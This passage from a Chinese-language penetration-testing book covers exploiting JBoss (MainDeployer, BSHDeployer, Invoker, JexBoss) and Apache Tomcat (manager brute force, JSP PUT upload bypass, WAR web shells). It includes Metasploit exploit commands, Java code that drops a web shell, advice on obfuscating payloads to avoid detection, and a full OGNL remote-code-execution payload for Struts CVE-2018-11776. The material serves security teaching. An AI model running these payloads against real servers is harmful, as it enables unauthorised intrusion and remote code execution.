1. 输出将为空，但我们可以在我们的 Metasploit exploit 处理程序上检查 stager 请求，如下所示：

最好自定义 WAR 文件并使用常见的技术对内容进行混淆。此外，为了帮助进一步避免检测，我们需要将文件名从随机名称更改为更具体和常见的名称，例如login.jsp，about.jsp或logout.jsp。

通过使用 Metasploit 通过 JMX 控制台进行利用（MainDeployer）

Metasploit 还具有内置的利用模块，可用于使用MainDeployer方法利用 JMX 控制台。现在让我们使用 Metasploit 模块通过 JMX 控制台上传 shell。我们使用以下命令加载利用程序：

use exploit/multi/http/jboss_maindeployer

我们将看到以下可用选项：

我们可以设置所需的选项，如rhosts和rport，如下所示：

当一切都设置好后，我们可以运行利用程序，Metasploit 将执行我们在上一节手动执行的相同步骤，以便在服务器上为我们提供 Meterpreter 访问，如下所示：

有时，如果 JMX 控制台受到身份验证保护，模块可能无法工作。我们可以尝试对身份验证进行字典攻击，如果成功，我们可以使用用户名和密码（在字典攻击期间找到）在此模块上设置HttpUsername和HttpPassword选项。

通过 JMX 控制台（BSHDeployer）进行利用

通过使用BeanShell Deployer（BSHDeployer）在 JMX 控制台上实现代码执行的另一种方法。BSHDeployer允许我们在 JBoss 中以 Bean shell 脚本的形式部署一次执行脚本和服务。在获得对 JMX 控制台的访问后，我们可以查找service=BSHDeployer对象名称，如下所示：

单击此对象将重定向我们到部署页面，如下所示：

在这里，我们需要放置将用于在服务器上部署我们的有效载荷的 BSH 文件的 URL。一个简单的方法是使用第三方工具进行通过BSHDeployer的利用，例如 JexBoss。这也可以使用 Metasploit 来实现，我们将在下面看到。

通过使用 Metasploit 通过 JMX 控制台进行利用（BSHDeployer）

Metasploit 也可以用于部署 BSH 以在服务器上实现代码执行。Metasploit 具有用于此目的的jboss_bshdeployer利用模块，让我们看一下它的用法。我们可以使用以下命令在msfconsole中加载利用程序：

Use exploit/multi/http/jboss_bshdeployer

要查看选项列表，我们需要输入show options，如下所示：

然后我们需要在运行利用程序之前设置相应的选项，如下所示：

我们需要设置在此模块中使用的有效载荷（默认情况下为java/meterpreter/reverse_tcp）。一个通用的选项是使用基于 Java 的 Meterpreter，但在 Java 有效载荷不起作用的情况下，我们可以尝试使用基于操作系统风格和架构的有效载荷。

运行利用程序后，Metasploit 将创建一个 BSH 脚本并调用部署程序，然后部署和提取 shellcode。调用 JSP shellcode 将执行我们的有效载荷，我们将获得一个反向连接，如下所示：

现在我们知道如何通过BSHDeployer利用 JMX 控制台，让我们看看如何通过 web 控制台进行利用。

通过 web 控制台（Java 小程序）进行利用

在本节中，我们将讨论 JBoss web 控制台。请注意，JBoss web 控制台已被弃用，并已被管理控制台取代，但对我们仍然有用，因为在旧版本的 JBoss 服务器上，仍然可以利用 web 控制台。在浏览器中打开 web 控制台时，我们可能也会遇到一些错误，如下所示：

为了允许小程序运行，我们需要更改我们的 Java 安全设置，并将 JBoss 实例的域名和 IP 地址添加到 Java 例外站点列表中，如下所示：

一旦异常被添加，我们仍然会收到浏览器的警告，但我们可以继续单击“继续”，如下所示：

在下一个弹出窗口中，我们需要单击“运行”按钮以允许应用程序运行，如下所示：

然后我们会看到 JBoss 服务器的 web 控制台。在这里，我们可以继续上一节中介绍的相同步骤，使用MainDeployer上传 shell。如下截图所示，我们只需要在左侧窗格中找到并选择对象即可：

单击MainDeployer项目将带我们到可以在服务器上部署 WAR 文件以实现代码执行的页面，如下所示：

默认情况下，大多数浏览器禁用了运行 Java 小程序，因此有时，在发现 JBoss 服务器的 web 控制台页面时，我们可能只会得到一个空白页面。在打开 web 控制台时遇到空白页面并不意味着服务不可访问。这只意味着我们需要稍微调整我们的浏览器以允许 Java 小程序的执行。

通过 web 控制台进行利用（Invoker 方法）

利用 JBoss AS 实例的另一种方法是通过 web 控制台的Invoker方法。在请求/web-console/Invoker URI 路径时执行curl命令将从服务器获取响应，文件的前 4 个字节中包含0xAC和0xED十六进制代码字符（aced）。我们可以在任何 Java 序列化对象的开头看到这一点，如下所示：

Invoker servlet 可以在 web 控制台或Invoker的http://example.com/web-console/Invoker中找到。这可以在大多数情况下无需身份验证访问。我们可以向这个Invoker发送序列化的 post 请求来在服务器上执行命令。

以下是前面截图中字节的分解：

• ac ed: STREAM_MAGIC指定这是一个序列化协议。

• 00 o5: STREAM_VERSION指定正在使用的序列化版本。

• 0x73: TC_OBJECT指定这是一个新对象。

• 0x72: TC_CLASSDESC指定这是一个新类。

• 00 24: 这指定了类名的长度。

• {6F 72 67 2E 6A 62 6F 73 **73 2E 69 6E 76 6F 63 61 **74 69 ****6F 6E 2E 4D 61 72 **73 68 61 6C 6C 65 64 56 **61 6C 75 65} org.jboss. invocation.MarshalledValue: 这指定了类名。

• EA CC E0 D1 F4 4A D0 99: SerialVersionUID指定了这个类的序列版本标识符。

• 0x0C: 这指定了标记号。

• 00 00: 这指定了这个类中字段的数量。

• 0x78: TC_ENDBLOCKDATA标记块对象的结束。

• 0x70: TC_NULL表示没有更多的超类，因为我们已经到达了类层次结构的顶部。

• 使用第三方工具通过 web 控制台进行利用。

在跳入 Metasploit 的模块之前，让我们看看 RedTeam Pentesting 开发的另一组脚本。存档可以从他们的网站www.redteam-pentesting.de/files/redteam-jboss.tar.gz下载。

存档包含以下文件：

• BeanShellDeployer/mkbeanshell.rb

• WAR/shell.jsp

• WAR/WEB-INF/web.xml

• Webconsole-Invoker/webconsole_invoker.rb

• JMXInvokerServlet/http_invoker.rb

• JMXInvokerServlet/jmxinvokerservlet.rb

• jboss_jars/console-mgr-classes.jar

• jboss_jars/jbossall-client.jar

• README

• setpath.sh

• Rakefile

下面的截图显示了团队发布的不同脚本：

我们可以使用这个工具创建自定义的 BSH 脚本，通过 web 控制台Invoker部署 BSH 脚本，创建JMXInvokerServlet负载等。让我们看看如何使用这个工具创建 BSH 脚本。

创建 BSH 脚本

存档中的一个脚本是mkbeanshell。该脚本以 WAR 文件作为输入，然后将 BSH 脚本作为输出创建：

1. 通过使用-h标志执行脚本，我们可以看到所有可用的选项列表，如下所示：

1. 现在，我们可以使用以下命令创建 BSH：

./mkbeanshell.rb -w <war file> -o <the output file>

该命令的输出（即 BSH 脚本）将保存在前面命令中提到的输出文件中。在这种情况下，创建的文件是redteam.bsh，如下截图所示：

1. 源文件（即在本例中使用的 WAR 文件）是通用的负载文件。在这个 WAR 文件中是我们的 JSP web shell，其内容可以在下面的截图中看到：

1. 默认情况下，如果我们打开创建的 BSH 脚本，我们会看到它在服务器上使用/tmp/目录来提取和部署 WAR 存档。现在，Windows 服务器没有/tmp/目录，而mkbeanshell Ruby 脚本只有更改路径的选项，在大多数情况下，我们可能根本不知道服务器上的路径。下面的截图显示了 BSH 脚本的代码：

1. 我们可以用以下代码替换上一个截图中的最后几行代码，以获取通用文件位置：

BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String location = jboss_home + "/deploy/test.war";FileOutputStream fstream = new
FileOutputStream(location);fstream.write(byteval);fstream.close();

1. 在这里，我们可以看到System.getProperty("jboss.server.home.dir");获取了 JBoss 目录。这是一个平台无关的代码，可以在 Windows 和*nix 服务器上使用。我们只需要在home目录中创建一个名为deploy的新目录，使用new File(jboss_home + "/deploy/").mkdir();，然后，解码Base64并将其写入deploy目录作为test.war。在进行这些更改后，下面的截图显示了 BSH 脚本的最终代码：

BSH 脚本准备就绪后，我们可以使用与第三方工具redteam-jboss.tar.gz一起提供的webconsole_invoker.rb脚本将我们的 BSH 脚本远程部署到 JBoss AS 实例上。

使用webconsole_invoker.rb部署 BSH 脚本

我们可以使用webconsole_invoker.rb脚本部署 BSH 脚本：

1. 使用-h标志执行 Ruby 脚本将显示选项列表，如下截图所示：

1. 现在我们运行脚本并传递目标Invoker URL 以及Invoke方法。在我们的情况下，我们将使用createScriptDeployment()方法。该方法接受两种输入类型，都是String，所以我们在-s标志中传递它们，然后我们传递我们的 BSH 文件的路径（带有文件名和使用-p标志传递的部署者的名称），如下所示：

1. 执行脚本后，我们的test.war文件将被部署，在我们的home目录内的/test/目录中创建我们的 shell：

浏览到 URL 可以让我们访问已上传的基于 JSP 的 Web shell，如前面的截图所示。

通过 JMXInvokerServlet（JexBoss）进行利用

JBoss 利用的另一个很好的工具是 JexBoss。JexBoss 是一个用于测试和利用 JBoss AS 和其他 Java 平台、框架和应用程序中的漏洞的工具。它是开源的，可以在 GitHub 上找到github.com/joaomatosf/jexboss：

1. 下载并运行工具后，我们可以通过几个按键来进行利用。我们只需要使用以下命令传递正在运行的 JBoss 服务器的 URL：

./jexboss.py --jboss -P <target URL>

如果 Python 没有正确配置，我们可以使用python jexboss.py --jboss -P语法执行前面的命令。两个选项都可以工作。

1. 如下截图所示，该工具已识别出多个可利用的脆弱端点，可以利用它们来访问服务器。我们将使用JMXInvokerServlet，它类似于Invoker，并接收序列化的 post 数据：

1. 当工具要求确认利用时，请选择yes：

1. 一旦利用完成，我们将获得一个 shell，通过它我们可以在服务器上执行命令，如下所示：

使用jexremote命令也可以进行进一步的利用。现在我们对使用 JexBoss 利用 JBoss 有了更好的理解，让我们继续下一部分——使用 Metasploit 通过JMXInvokerServlet进行利用

使用 Metasploit 通过 JMXInvokerServlet 进行利用

Metasploit 还有一个JMXInvokerServlet模块，可以使用以下命令加载：

Use exploit/multi/http/jboss_invoke_deploy

在使用此exploit模块之前，我们需要确保服务器上存在/invoker/JMXInvokerServlet URI 路径。如果路径不存在，利用将失败。以下截图显示了前面命令的输出：

要查看/invoker/JMXInvokerServlet URI 路径是否存在，我们可以使用以下命令进行确认：

如果服务器以字节形式的序列化数据作为响应，以ac ed开头，我们可以运行利用，这将使我们通过 Meterpreter 访问服务器，如下截图所示：

注意：在我们无法获得成功的反向 shell 的情况下，我们总是可以选择绑定 shell 连接。

总结

在本章中，我们学习了 JBoss 的基础知识，然后继续学习文件和目录结构。接下来，我们研究了 JBoss 的枚举，然后进行了使用 Metasploit 框架进行漏洞评估，之后我们进行了通过管理控制台进行利用的过程。最后，我们通过 Web 控制台执行了利用。

在下一章中，我们将学习有关对 Apache Tomcat 进行渗透测试。

问题

JBoss 可以免费下载吗？

进一步阅读

JBoss 目录结构：

• www.protechtraining.com/content/jboss_admin_tutorial-directory_structure

• access.redhat.com/documentation/en-us/jboss_enterprise_application_platform/5/html/administration_and_configuration_guide/server_directory_structure

Java 序列化格式：

• www.programering.com/a/MTN0UjNwATE.html

• www.javaworld.com/article/2072752/the-java-serialization-algorithm-revealed.html

第十六章：技术平台的渗透测试- Apache Tomcat

在上一章中，我们学习了如何对JBoss 应用服务器（JBoss AS）进行渗透测试。现在让我们看看另一个技术平台，称为Apache Tomcat。Apache Tomcat 软件是在一个开放和参与的环境中开发的，并在 Apache 许可证第 2 版下发布。Apache Tomcat 是一个 Java Servlet 容器，实现了多个核心企业特性，包括 Java Servlets、Java Server Pages（JSP）、Java WebSocket 和Java Persistence APIs（JPA）。许多组织都有部署在 Apache Tomcat 上的基于 Java 的应用程序。易受攻击的 Apache Tomcat 软件对威胁行为者来说是一个金矿，因为许多支付网关、核心银行应用程序和客户关系管理（CRM）平台等都在 Apache Tomcat 上运行。

在本章中，我们将涵盖以下主题：

• Tomcat 简介

• Apache Tomcat 架构

• 文件及其目录结构

• 检测 Tomcat 安装

• 版本检测

• 对 Tomcat 进行利用

• Apache Struts 简介

• OGNL 简介

• OGNL 表达式注入

技术要求

本章的先决条件如下：

• Apache Tomcat (tomcat.apache.org/)

• 后端数据库；推荐使用 MySQL (www.mysql.com/downloads/)

• Metasploit 框架 (github.com/rapid7/metasploit-framework)

Tomcat 简介

Apache Tomcat 软件是一个开源的 Web 服务器，旨在运行基于 Java 的 Web 应用程序。当前版本的 Tomcat 的一些特性包括以下内容：

• 支持 Java Servlet 3.1

• JSP 2.3

• Java 统一表达语言（EL）3.0

• Java WebSocket 1.0

Tomcat 是由许多开发人员在 Apache 项目平台的支持下开发和处理的，根据 Apache 认证 2.0 证书发布，并且是一个开源应用程序。Tomcat 可以作为一个独立产品使用，具有自己的内部 Web 服务器，也可以与其他 Web 服务器一起使用，包括 Apache 和 Microsoft 的Internet Information Server（IIS）。

鉴于 Apache Tomcat 被许多组织使用，应该明智地考虑这个平台的安全性。在撰写本书时，Shodan 已经确定了全球超过 93,000 个 Tomcat 实例（独立和集成在 JBoss 实例中），如下截图所示：

Apache Tomcat 服务器内的漏洞可以允许威胁行为者利用服务器上运行的应用程序，甚至可以超越通用应用程序的利用，最终获取对组织内部网络的访问权限。

Apache Tomcat 架构

Tomcat 可以被描述为一系列不同的功能组件，这些组件根据明确定义的规则组合在一起。以下图表代表了 Tomcat 的结构：

让我们试着理解前面图表中显示的每个组件的作用：

• 服务器：服务器代表整个 Catalina Servlet 容器。server.xml文件代表 Tomcat 安装的所有特性和配置。

• 服务：服务是服务器内部包含连接器的组件，这些连接器共享单个容器来处理它们的传入请求。

• 引擎：引擎接收并处理来自不同连接器的信息，并返回输出。

• 主机：这是服务器使用的网络或域名。一个服务器可以有多个主机。

• 上下文：表示 Web 应用程序。在主机上可以有多个具有不同 URL 路径的 Web 应用程序。

• 连接器：连接器处理客户端和服务器之间的通信。有不同类型的连接器用于处理各种通信；例如，HTTP 连接器用于处理 HTTP 流量，而 AJP 连接器用于使用 AJP 协议与 Apache 通信。

现在我们对 Apache Tomcat 架构有了基本的了解，让我们来看看 Tomcat 服务器上存储的文件和目录的结构。

文件及其目录结构

Tomcat 的文件和目录结构与我们在上一章中讨论的 JBoss 类似。在本节中，我们将快速浏览 Tomcat 的目录结构，如下面的屏幕截图所示：

Tomcat 目录中的子目录可以解释如下：

• bin：此目录包含服务器初始化时所需的所有脚本，如启动和关闭脚本以及可执行文件。

• common：这个目录包含 Catalina 和开发人员托管的其他 Web 应用程序可以使用的公共类。

• conf：这个目录包含用于配置 Tomcat 的服务器 XML 文件和相关的文档类型定义（DTD）。

• logs：这个目录，顾名思义，存储了 Catalina 和应用程序生成的日志。

• server：这个目录存储仅由 Catalina 使用的类。

• shared：这个目录存储可以被所有 Web 应用程序共享的类。

• webapps：这个目录包含所有的 Web 应用程序。

• work：这个目录代表文件和目录的临时存储。

最有趣的目录之一是webapps目录：

通过导航到webapps目录并列出内容，我们可以查看目录，如前面的屏幕截图所示：

• ROOT：这是 Web 应用程序的根目录。它包含所有的 JSP 文件和 HTML 页面，客户端 JAR 文件等。

• docs：此目录包含 Apache Tomcat 的文档。

• examples：examples文件夹包含 Servlet、JSP 和 WebSocket 示例，以帮助开发人员进行开发。

• host-manager：host-manager应用程序允许我们在 Tomcat 中创建、删除和管理虚拟主机。这个目录包含了这个应用程序的代码。

• manager：manager允许我们管理安装在 Apache Tomcat 实例上的 Web 应用程序，以Web 应用程序存档（WAR）文件的形式。

对文件和目录结构的清晰理解可以帮助我们在目标 Tomcat 服务器上进行非常有效的侦察。

检测 Tomcat 安装

现在，让我们看看如何检测服务器上是否安装了 Tomcat，以及可以用于进一步侦察的常见检测技术。

通过 HTTP 响应头检测 - X-Powered-By

检测 Apache Tomcat 安装的一种常见方法是查看服务器响应中的X-Powered-By HTTP 头：

典型的安装将在 HTTP 响应头中给出 Apache Tomcat 版本。

通过 HTTP 响应头检测 - WWW-Authenticate

检测 Tomcat 的一种简单方法是请求/manager/html页面。一旦您发出请求，服务器将以 HTTP 代码401 未经授权回复，并附带WWW-Authenticate HTTP 头：

如前面的屏幕截图所示，这个特定的头部将设置为Tomcat Manager Application字符串，通过使用这个头部，我们将能够检测目标服务器是否安装了 Tomcat。

通过 HTML 标签检测 - 标题标签

如果您在打开 Tomcat 实例时看到一个空白页面，您仍然可以通过查看 HTML <title>标签来检测它是否是 Tomcat 页面：

Apache Tomcat字符串在<title>标签之间提到，就像前面的截图中一样。

通过 HTTP 401 未经授权错误检测

Tomcat 安装通常使用 Tomcat Manager Web 应用程序来管理和部署 Web 应用程序。它可以通过URL/manager/html访问。这会产生一个 HTTP 身份验证面板：

单击弹出窗口上的“取消”将给您一个 401 错误，就像前面的截图中一样，这证实了 Tomcat 的存在。

注意：这种信息披露只存在于 Tomcat 服务器配置错误的情况下。

通过唯一指纹（哈希）检测

我们在之前的章节中看到，大多数 Web 应用程序可以通过它们的 favicon 来检测。可以比较不同版本的 favicon 的md5哈希来识别正在使用的 Tomcat 的版本：

以下截图显示了 OWASP favicon 数据库列表中的哈希：

我们还可以维护我们的 favicon 数据库，以检查不同版本的 Apache Tomcat 安装。

通过目录和文件检测

安装时，Apache Tomcat 还创建了docs和examples目录，以帮助开发人员进行应用程序开发和部署。默认情况下，文件夹的 URI 如下：

• /docs/

• /examples/

我们还可以使用 SecLists (github.com/danielmiessler/SecLists)来枚举 Tomcat 中的敏感文件：

前面的截图显示了可以用来识别安装了 Tomcat 的实例的不同文件和文件夹。在下一节中，我们将解决如何识别 Tomcat 安装的版本号。

版本检测

一旦我们确认服务器正在运行 Tomcat，下一步是建立版本信息。在本节中，我们将看一些检测现有 Tomcat 安装的版本号的方法。

通过 HTTP 404 错误页面检测版本

默认情况下，Tomcat 的 404 错误页面会披露它正在运行的版本号，所以我们只需要访问服务器上不存在的 URL，服务器应该会返回一个错误页面，如下面的截图所示：

许多管理员实际上并没有隐藏披露版本号的 Web 服务器横幅。攻击者可以利用这些信息从其库中找到公开或零日利用来访问服务器。

通过 Release-Notes.txt 披露版本信息

Tomcat 还有一个Release-Notes.txt文件，其中包含有关该版本的增强功能和已知问题的详细信息。该文件还向威胁行为者披露了 Apache Tomcat 服务器的版本号：

发布说明的第一行包含版本信息，就像前面的截图中一样。

通过 Changelog.html 披露版本信息

除了Release-Notes.txt之外，还有一个Changelog.html文件，该文件在页面上披露了版本号，如下所示：

现在我们可以继续下一步，即利用 Tomcat 安装。

利用 Tomcat

在本节中，我们将看一下如何执行对 Tomcat 的易受攻击版本的利用。我们将涵盖各种技术，包括上传WAR shell和 JSP 上传绕过。

在 Metasploit 上使用search命令查找 Tomcat 将为我们提供一些可用的模块，如下所示：

我们将使用最基本的模块，它将暴力破解 Tomcat Manager 并给我们凭据：

1. 要加载模块，我们可以使用以下命令：

use auxiliary/scanner/http/tomcat_mgr_login

1. 在使用模块之前，了解模块的工作原理总是一个好习惯。牢记这一点，渗透测试人员可以在有Web 应用程序防火墙（WAF）的情况下调整模块。模块加载后，我们可以使用show options命令来查看测试人员需要填写的选项（如下截图所示）：

1. 通过查看选项，我们可以看到它要求填写 Tomcat 安装的 IP（RHOSTS）和端口（RPORT），以及用于暴力破解凭据的字典。我们使用run命令来执行模块，如下所示：

1. 我们将得到一个正确的登录/密码组合的登录成功消息，如下所示：

利用默认密码漏洞访问服务器是利用 Apache Tomcat 的最常见方式之一。如果攻击者使用默认密码获得访问权限，甚至不需要花费大量精力来查找不同的易受攻击的端点。

Apache Tomcat JSP 上传绕过漏洞

影响 Tomcat 7.x、8.x 和 9.x 以及 TomEE 1.x 和 7.x 的 JSP 上传绕过漏洞。该漏洞涉及使用PUT方法绕过文件名过滤器上传 JSP 文件。此外，Metasploit 模块也可用于此漏洞利用。让我们通过执行以下命令来使用该模块：

use exploit/multi/http/tomcat_jsp_upload_bypass

以下截图显示了上述命令的输出：

设置RHOSTS值并使用run命令执行模块如下截图所示：

正如您在以下截图中所看到的，这个 Metasploit 模块将首先使用 HTTP 的PUT方法来上传一个带有.jsp扩展名后面跟着/（斜杠）的 JSP 文件。如果 Apache Tomcat 实例以 HTTP 201（已创建）代码回应，这意味着文件已成功上传到服务器：

文件被上传的原因是 Tomcat 服务器存在文件上传限制漏洞（仅限特定版本），如果文件扩展名为 JSP，则会过滤文件。使用这个斜杠，我们可以绕过这个限制来上传一个恶意的基于 JSP 的 Web shell。在这种情况下，有效载荷文件被使用PUT方法发送到目标服务器，如下截图所示：

如前所述，在成功上传的情况下，服务器将返回 HTTP 201代码。

一旦有效载荷文件被上传，Metasploit 模块将请求相同的文件名来执行我们的有效载荷：

成功执行有效载荷后，我们将得到一个通用 shell：

在利用 JSP 上传绕过后，我们并不总是需要获得root（特权）shell。还有更多的情况需要我们从普通用户升级到root。

Tomcat WAR shell 上传（经过身份验证）

假设我们有 Apache Tomcat 实例的凭据（可能是通过窃听/嗅探或从包含敏感信息的文件中获得）。用户可以通过将打包的 WAR 文件上传到 Apache Tomcat 实例来运行 Web 应用程序。在本节中，我们将上传一个 WAR 文件以获得绑定/反向 shell 连接。请注意，WAR shell 上传需要身份验证才能工作；否则，服务器将以 HTTP 401（未经授权）代码回应：

1. 首先，让我们请求/manager/html页面。服务器将要求进行 HTTP 身份验证：

1. 一旦经过身份验证，页面将被重定向到/manager/status，如下图所示：

1. 单击“列出应用程序”将列出由此 Apache Tomcat 实例管理的所有已安装应用程序：

1. 在同一页向下滚动，我们会找到一个“部署”部分，在这里我们可以通过 URL 部署服务器上的 WAR，或者通过上传我们自己的 WAR 文件来部署：

1. 我们可以从页面的 WAR 文件部署部分向服务器上传 WAR 文件（redteam.war）。单击“部署”按钮将部署我们的 WAR 文件。在成功部署 WAR 后，我们的应用程序将安装在 Apache Tomcat 服务器上，我们可以从“列出应用程序”选项中查看（如前所述）：

1. 在上面的屏幕截图中，我们的 WAR 文件已部署。现在，我们只需要正常从浏览器访问我们的 JSP shell，并将要执行的命令作为参数的值传递（如下图所示）：

使用 Metasploit 也可以实现相同的过程。使用 Metasploit 中的tomcat_mgr_upload模块，我们可以上传一个 WAR shell。让我们通过在msfconsole中执行以下命令来使用这个模块：

use exploit/multi/http/tomcat_mgr_upload

以下屏幕截图显示了前面命令的输出：

由于这是一个经过身份验证的机制，我们需要提供 HTTP 身份验证的凭据。让我们执行这个模块，以便 Metasploit 可以上传 WAR 文件并在服务器上执行有效载荷：

如前面的屏幕截图所示，模块已成功通过服务器进行了身份验证，并上传了一个 WAR 文件（ymRRnwH.war）。上传后，模块调用了 WAR 文件中打包的 JSP 有效载荷，并执行它以获得反向meterpreter连接：

在执行tomcat_mgr_upload模块时，meterpreter检查以下步骤：

1. Metasploit 模块检查凭据是否有效。

2. 如果它们是有效的，模块将从服务器响应中获取org.apache.catalina.filters.CSRF_NONCE的值（CSRF 令牌）。

3. 然后，该模块尝试通过 HTTP POST方法（无需身份验证）上传 WAR 有效载荷。

4. 如果前面的步骤失败，模块将使用提供的凭据上传 WAR 文件（POST/manager/html/upload）。

5. 上传成功后，模块将从服务器请求 JSP meterpreter文件，导致打开了meterpreter连接（在这种情况下是一个反向连接）。

注意：

我们已经上传并执行了meterpreter shell 以获得反向连接。有些情况下，反向连接是不可能的。在这些情况下，我们可以总是寻找绑定连接，或者通过 HTTP 隧道meterpreter会话。

现在我们知道了如何将 WAR shell 上传到 Apache Tomcat 实例，以及如何利用一些漏洞，让我们继续进行对 Apache Tomcat 实例执行的攻击的下一级别。

Apache Struts 简介

Apache Struts 是一个免费的开源框架，遵循 MVC 架构，用于开发基于 Java 的 Web 应用程序。它使用 Java Servlet API。它最初是由 Craig McClanahan 创建的，并于 2000 年 5 月捐赠给 Apache 基金会。Apache Struts 2 的第一个完整版本发布于 2007 年。

在本节中，我们将看一下 Apache Struts 中发现的一些漏洞。

了解 OGNL

对象图标记语言（OGNL）是一种 EL，它简化了存储在ActionContext中的数据的可访问性。ActionContext是一个包含了执行操作所需的对象的容器。OGNL 在 Apache Struts 2 中有很强的关联，并用于将表单参数存储为 ValueStack 中的 Java Bean 变量。ValueStack是一个存储区，用于存储数据以处理客户端请求。

OGNL 表达式注入

当未经过滤的用户输入传递给 ValueStack 进行评估时，就会发生 OGNL 表达式注入。在本节中，我们将尝试理解表达式注入查询，并查看一个利用示例。

以下屏幕截图显示了一个使用 Struts 2 的易受攻击的 Web 应用程序的示例，该应用程序易受 CVE-2018-11776 的攻击：

让我们尝试手动利用这个 Struts 漏洞（CVE-2018-11776），采取以下步骤：

1. 当您转到菜单栏中的 Configuration | Action Chaining 时，您会注意到以下请求被发送到服务器：

1. 然后服务器返回以下响应：

1. 现在，我们将actionchaining字符串替换为其他内容，例如Testing123，就像我们在以下屏幕截图中所做的那样：

1. 当我们这样做时，服务器会处理我们的Testing123字符串，并用相同的字符串做出响应：

1. 要测试诸如 OGNL 之类的表达式语言注入，我们需要使用${..}或%{..}语法。OGNL 将处理包含在${..}或%{..}中的任何内容。因此，为了进行简单的测试，让我们使用${123*123}或%{123*123}字符串：

1. 由于代码位于以$或%开头的括号中，服务器将其处理为 OGNL 表达式，并以以下屏幕截图中显示的结果做出响应：

现在我们已经成功确认了前面测试案例中的漏洞，让我们了解如何在执行进程上进行 OGNL 注入时，如何注入有效负载并绕过沙箱（如果有的话）。

测试 OGNL 注入的远程代码执行

为了测试漏洞，我们将使用以下有效负载：

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在分解有效负载之前，让我们了解一些关于 OGNL 的东西，这将帮助我们更好地理解有效负载：

运算符	描述
${..} or %{..}	一个 OGNL 表达式块。
(e)	一个带括号的表达式。
e.method(args)	方法调用的语法。
e.property	调用属性的语法。
e1[e2]	数组索引。
[e]	数组索引引用。
#variable	上下文变量引用。
@class@method(args)	静态方法引用。
{e1,e2,e3,..}	列表创建-逗号（,）的用法与分号（;）相同，用于结束语句。
e1.(e2)	子表达式评估。

现在，让我们通过参考前面的表来分解先前提到的有效负载。

在以前的 Struts 版本中，_memberAccess对象用于控制 OGNL 的操作，但在后来的版本中，_memberAccess对象甚至受到了对构造函数调用的限制。这是由于excludedClasses、excludedPackageNames和excludedPackageNamePatterns黑名单，拒绝访问特定的类和包。即使_memberAccess对象是可访问的，对该对象也施加了严格的限制。

要绕过这样的限制，在 Struts 版本 2.3.20-2.3.29 中，我们只需用DefaultMemberAccess对象（SecurityMemberAccess类中的可访问静态对象）替换_memberAccess对象，这将允许我们控制 OGNL 的操作而没有任何限制。

因此，负载的第一行用于通过将上下文从_memberAccess更改为DefaultMemberAccess来绕过对_memberAccess对象的限制：

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在上述代码中，OgnlContext是一个类，根据 Apache Common OGNL 表达式参考（commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/OgnlContext.html）定义了 OGNL 表达式的执行上下文。

现在上下文已从_memberAccess更改为DefaultMemberAccess，我们可以使用setMemberAccess方法设置MemberAccess。但是，为了访问对象，我们首先需要清除黑名单（excludedClasses、excludedPackageNames和excludedPackageNamePatterns）。我们可以通过恢复到原始上下文来清除黑名单，如我们负载的下一行突出显示所示：

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

由于我们还没有上下文，我们需要检索上下文映射，可以通过访问ActionContext.container来完成。现在可以访问此容器，因为我们已经从struts.valueStack请求了上下文。请参考我们负载的以下突出显示行：

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们已经可以访问上下文映射（请参考我们负载的第一行突出显示），我们现在可以清除黑名单，以便访问DefaultMemberAccess对象，该对象没有限制。我们的负载的第二行突出显示行就是这样做的：

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

一旦clear()方法被处理并且我们已经清除了黑名单，我们现在可以使用setMemberAccess()方法设置为DEFAULT_MEMBER_ACCESS来设置MemberAccess。请参考负载中的以下突出显示文本：

